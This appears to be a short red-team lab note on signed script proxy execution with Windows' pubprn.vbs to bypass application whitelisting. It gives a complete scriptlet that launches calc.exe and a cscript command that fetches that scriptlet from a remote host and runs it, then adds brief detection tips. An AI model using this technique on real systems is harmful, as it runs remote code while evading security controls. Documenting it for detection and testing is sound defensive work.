pubprn.vbs Signed Script Code Execution

Signed Script Proxy Execution - bypass application whitelisting using pubprn.vbs

Execution
Using pubprn.vbs, we will execute code to launch calc.exe. First of, the xml that will be executed by the script:
http://192.168.2.71/tools/mitre/proxy-script/proxy.sct
<?XML version="1.0"?>
<scriptlet>
​
<registration
    description="Bandit"
    progid="Bandit"
    version="1.00"
    classid="{AAAA1111-0000-0000-0000-0000FEEDACDC}"   
	>
</registration>
​
<script language="JScript">
<![CDATA[
		var r = new ActiveXObject("WScript.Shell").Run("calc.exe");	
]]>
</script>
​
</scriptlet>
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cscript /b C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs 127.0.0.1 script:http://192.168.2.71/tools/mitre/proxy-script/proxy.sct
Observations
Calc.exe gets spawned by cscript.exe which immediately closes leaving the calc.exe process orphan:
Monitoring commandlines can be useful in detecting the script being abused:
References
Signed Script Proxy Execution - Enterprise | MITRE ATT&CK™
attack.mitre.org

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Last updated 2 years ago